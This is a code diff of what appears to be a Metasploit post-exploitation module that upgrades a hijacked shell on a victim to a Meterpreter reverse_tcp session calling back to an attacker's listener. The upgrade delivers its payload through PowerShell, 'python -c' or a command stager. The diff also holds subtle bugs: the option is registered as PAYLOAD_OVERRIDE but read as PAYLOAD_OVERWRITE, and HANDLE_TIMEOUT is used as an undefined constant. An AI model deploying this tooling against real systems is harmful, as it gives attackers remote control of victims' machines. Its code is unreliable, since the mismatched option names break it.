@@ -29,18 +29,31 @@ def initialize(info = {})
29
29
register_options (
30
30
[
31
31
OptAddress . new ( 'LHOST' ,
32
- [ false , 'IP of host that will receive the connection from the payload.' ] ) ,
32
+ [ false , 'IP of host that will receive the connection from the payload (Will try to auto detect).' , nil ] ) ,
33
33
OptInt . new ( 'LPORT' ,
34
- [ false , 'Port for Payload to connect to.' , 4433 ] ) ,
34
+ [ true , 'Port for payload to connect to.' , 4433 ] ) ,
35
35
OptBool . new ( 'HANDLER' ,
36
36
[ true , 'Start an exploit/multi/handler to receive the connection' , true ] )
37
37
] , self . class )
38
+ register_advanced_options ( [
39
+ OptInt . new ( 'HANDLE_TIMEOUT' ,
40
+ [ true , 'How long to wait (in seconds) for the session to come back.' , 30 ] ) ,
41
+ OptEnum . new ( 'WIN_TRANSFER' ,
42
+ [ true , 'Which method to try first to transfer files on a Windows target.' , 'POWERSHELL' , [ 'POWERSHELL' , 'VBS' ] ] ) ,
43
+ OptString . new ( 'PAYLOAD_OVERRIDE' ,
44
+ [ false , 'Define the payload to use (meterpreter/reverse_tcp by default) .' , nil ] )
45
+ ] , self . class )
38
46
deregister_options ( 'PERSIST' , 'PSH_OLD_METHOD' , 'RUN_WOW64' )
39
47
end
40
48
41
- # Run Method for when run command is issued
49
+ # Run method for when run command is issued
42
50
def run
43
- print_status ( "Upgrading session: #{ datastore [ 'SESSION' ] } " )
51
+ print_status ( "Upgrading session ID: #{ datastore [ 'SESSION' ] } " )
52
+
53
+ if session . type =~ /meterpreter/
54
+ print_error ( "Shell is already Meterpreter." )
55
+ return nil
56
+ end
44
57
45
58
# Try hard to find a valid LHOST value in order to
46
59
# make running 'sessions -u' as robust as possible.
@@ -52,7 +65,7 @@ def run
52
65
lhost = session . tunnel_local . split ( ':' ) [ 0 ]
53
66
end
54
67
55
- # If nothing else works....
68
+ # If nothing else works...
56
69
lhost = Rex ::Socket . source_address if lhost . blank?
57
70
58
71
lport = datastore [ 'LPORT' ]
@@ -65,27 +78,34 @@ def run
65
78
lplat = [ Msf ::Platform ::Windows ]
66
79
larch = [ ARCH_X86 ]
67
80
psh_arch = 'x86'
81
+ print_status ( "Platform: Windows" ) if datastore [ 'VERBOSE' ]
68
82
when /osx/i
69
83
platform = 'python'
70
84
payload_name = 'python/meterpreter/reverse_tcp'
85
+ print_status ( "Platform: OS X" ) if datastore [ 'VERBOSE' ]
71
86
when /solaris/i
72
87
platform = 'python'
73
88
payload_name = 'python/meterpreter/reverse_tcp'
89
+ print_status ( "Platform: Solaris" ) if datastore [ 'VERBOSE' ]
74
90
else
75
- # Find the best fit, be specific w/ uname to avoid matching hostname or something else
91
+ # Find the best fit, be specific with uname to avoid matching hostname or something else
76
92
target_info = cmd_exec ( 'uname -mo' )
77
93
if target_info =~ /linux/i && target_info =~ /86/
78
94
# Handle linux shells that were identified as 'unix'
79
95
platform = 'linux'
80
96
payload_name = 'linux/x86/meterpreter/reverse_tcp'
81
97
lplat = [ Msf ::Platform ::Linux ]
82
98
larch = [ ARCH_X86 ]
99
+ print_status ( "Platform: Linux" ) if datastore [ 'VERBOSE' ]
83
100
elsif cmd_exec ( 'python -V' ) =~ /Python (2|3)\. (\d )/
84
101
# Generic fallback for OSX, Solaris, Linux/ARM
85
102
platform = 'python'
86
103
payload_name = 'python/meterpreter/reverse_tcp'
104
+ print_status ( "Platform: Python [fallback]" ) if datastore [ 'VERBOSE' ]
87
105
end
88
106
end
107
+ payload_name = datastore [ 'PAYLOAD_OVERWRITE' ] if datastore [ 'PAYLOAD_OVERWRITE' ]
108
+ print_status ( "Upgrade payload: #{ payload_name } " ) if datastore [ 'VERBOSE' ]
89
109
90
110
if platform . blank?
91
111
print_error ( "Shells on the the target platform, #{ session . platform } , cannot be upgraded to Meterpreter at this time." )
@@ -108,21 +128,29 @@ def run
108
128
109
129
case platform
110
130
when 'win'
111
- if have_powershell?
131
+ if ( have_powershell? ) && ( datastore [ 'WIN_TRANSFER' ] != 'VBS' )
132
+ print_status ( "Transfer method: Powershell" ) if datastore [ 'VERBOSE' ]
112
133
psh_opts = { :prepend_sleep => 1 , :encode_inner_payload => true , :persist => false }
113
134
cmd_exec ( cmd_psh_payload ( payload_data , psh_arch , psh_opts ) )
114
135
else
136
+ print_error ( 'Powershell is not installed on the target.' ) if datastore [ 'WIN_TRANSFER' ] == 'POWERSHELL'
137
+ print_status ( "Transfer method: VBS [fallback]" ) if datastore [ 'VERBOSE' ]
115
138
exe = Msf ::Util ::EXE . to_executable ( framework , larch , lplat , payload_data )
116
139
aborted = transmit_payload ( exe )
117
140
end
118
141
when 'python'
142
+ print_status ( "Transfer method: Python" ) if datastore [ 'VERBOSE' ]
119
143
cmd_exec ( "python -c \" #{ payload_data } \" " )
120
144
else
145
+ print_status ( "Transfer method: Bourne shell [fallback]" ) if datastore [ 'VERBOSE' ]
121
146
exe = Msf ::Util ::EXE . to_executable ( framework , larch , lplat , payload_data )
122
147
aborted = transmit_payload ( exe )
123
148
end
124
149
125
- cleanup_handler ( listener_job_id , aborted ) if datastore [ 'HANDLER' ]
150
+ if datastore [ 'HANDLER' ]
151
+ print_status ( "Cleaning up handler" ) if datastore [ 'VERBOSE' ]
152
+ cleanup_handler ( listener_job_id , aborted )
153
+ end
126
154
return nil
127
155
end
128
156
@@ -150,7 +178,7 @@ def transmit_payload(exe)
150
178
151
179
cmds = cmdstager . generate ( opts )
152
180
if cmds . nil? || cmds . length < 1
153
- print_error ( 'The command stager could not be generated' )
181
+ print_error ( 'The command stager could not be generated. ' )
154
182
raise ArgumentError
155
183
end
156
184
@@ -160,6 +188,7 @@ def transmit_payload(exe)
160
188
total_bytes = 0
161
189
cmds . each { |cmd | total_bytes += cmd . length }
162
190
191
+ print_status ( "Starting transfer..." ) if datastore [ 'VERBOSE' ]
163
192
begin
164
193
#
165
194
# Run the commands one at a time
@@ -198,12 +227,11 @@ def transmit_payload(exe)
198
227
def cleanup_handler ( listener_job_id , aborted )
199
228
# Return if the job has already finished
200
229
return nil if framework . jobs [ listener_job_id ] . nil?
201
-
202
230
framework . threads . spawn ( 'ShellToMeterpreterUpgradeCleanup' , false ) {
203
231
if !aborted
204
232
timer = 0
205
- while ! framework . jobs [ listener_job_id ] . nil? && timer < 10
206
- # Wait up to 10 seconds for the session to come in..
233
+ print_status ( "Waiting up to #{ HANDLE_TIMEOUT } seconds for the session to come back" ) if datastore [ 'VERBOSE' ]
234
+ while ! framework . jobs [ listener_job_id ] . nil? && timer < HANDLE_TIMEOUT
207
235
sleep ( 1 )
208
236
timer += 1
209
237
end
@@ -218,7 +246,7 @@ def cleanup_handler(listener_job_id, aborted)
218
246
#
219
247
def progress ( total , sent )
220
248
done = ( sent . to_f / total . to_f ) * 100
221
- print_status ( "Command Stager progress - %3.2f%% done (%d/%d bytes)" % [ done . to_f , sent , total ] )
249
+ print_status ( "Command stager progress: %3.2f%% (%d/%d bytes)" % [ done . to_f , sent , total ] )
222
250
end
223
251
224
252
# Method for checking if a listener for a given IP and port is present
0 commit comments